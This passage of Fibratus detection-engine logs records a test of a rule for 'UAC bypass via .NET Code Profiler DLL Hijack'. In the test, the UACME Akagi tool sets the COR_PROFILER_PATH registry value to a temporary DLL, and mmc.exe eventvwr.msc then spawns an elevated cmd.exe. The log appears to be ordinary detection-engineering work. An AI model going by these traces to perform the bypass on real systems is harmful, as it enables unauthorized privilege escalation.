Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 54390 + Pid: 12096 + Tid: 560 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:19:22.4809005 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 39536e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080052cf080, name➜ cmd.exe, pid➜ 8788, ppid➜ 12096, real_ppid➜ 12096, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:19:22.4807324 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 12096 + Ppid: 7464 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:19:35+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 55081 + Pid: 15536 + Tid: 7800 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:19:33.8182407 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15536 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 55538 + Pid: 6316 + Tid: 11704 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:19:34.5811816 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3be0d0000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808004439080, name➜ cmd.exe, pid➜ 4600, ppid➜ 6316, real_ppid➜ 6316, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:19:34.5810801 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6316 + Ppid: 15536 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:19:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:19:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:19:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:20:41+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:20:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:20:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:20:41+01:00 level=info msg=bootstrapping with pid 13940. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:20:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false max-buffers=>36 enable-handle=>false enable-mem=>true enable-audit-api=>true enable-registry=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true buffer-size=>512 enable-vamap=>true enable-thread=>true enable-fileio=>true flush-interval=>1s min-buffers=>16 stack-enrichment=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true formatter=>text max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s delivery-mode=>transient routing-key=>fibratus passive=>false durable=>false vhost=>/ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enable-gzip=>false timeout=>5s endpoints=>[] serializer=>json tls-insecure-skip-verify=>false method=>POST enabled=>false] elasticsearch=>[ sniff=>false healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s trace-log=>false gzip-compression=>false index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false template-name=>fibratus bulk-workers=>1 flush-period=>1s]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false scan-timeout=>10s excluded-files=>[] skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:20:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:20:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:21:11+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 56049 + Pid: 2364 + Tid: 5880 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:21:10.2002273 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 2364 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files 